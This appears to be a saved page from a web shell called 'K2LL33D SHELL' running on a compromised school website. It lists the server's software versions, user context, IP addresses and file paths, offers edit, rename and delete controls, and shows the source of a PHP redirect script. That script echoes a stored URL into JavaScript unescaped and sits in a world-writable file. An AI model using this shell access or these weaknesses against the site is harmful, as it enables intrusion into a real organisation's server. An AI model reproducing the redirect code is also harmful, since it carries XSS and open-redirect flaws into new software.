K2LL33D SHELL

 Apache/2.4.7 (Ubuntu)
 Linux sman1baleendah 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64
 uid=33(www-data) gid=33(www-data) groups=33(www-data)
 safemode : OFF
 MySQL: ON | Perl: ON | cURL: OFF | WGet: ON
  >  / var / www / html / sman1baleendah_sch_id-1111111111111 / functions /
server ip : 172.67.156.115

your ip : 172.69.6.35

H O M E


Filename/var/www/html/sman1baleendah_sch_id-1111111111111/functions/visit.php
Size539
Permissionrwxrwxrwx
Ownerroot : root
Create time06-May-2025 08:13
Last modified05-May-2025 16:21
Last accessed08-Jun-2025 19:40
Actionsedit | rename | delete | download (gzip)
Viewtext | code | image
<?php
include "koneksi.php";
$id = $_GET['id'];
if($id=='') $id=$_POST['id'];

$sql="select * from t_banner where id='".mysql_real_escape_string($id)."'";
if(!$alan=mysql_query($sql)) die ("Pengambilan gagal");
$row=mysql_fetch_array($alan);
$visits = $row[visits] + 1;
$query = "UPDATE t_banner SET visits='$visits' WHERE id='".mysql_real_escape_string($id)."'";
$result = mysql_query($query) or die("Query failed");
// header("location:$row[url]");
echo "<script>document.location.href = '".$row['url']."';</script>";
?>